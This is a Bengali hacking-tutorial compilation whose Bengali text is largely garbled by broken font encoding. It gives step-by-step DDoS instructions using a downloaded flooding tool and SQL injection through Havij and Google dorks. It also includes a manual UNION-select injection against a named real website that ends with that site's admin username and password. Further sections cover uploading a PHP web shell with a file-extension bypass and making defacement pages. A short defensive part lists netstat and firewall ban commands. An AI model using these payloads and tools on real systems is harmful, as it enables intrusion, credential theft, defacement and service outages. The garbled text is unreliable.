াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
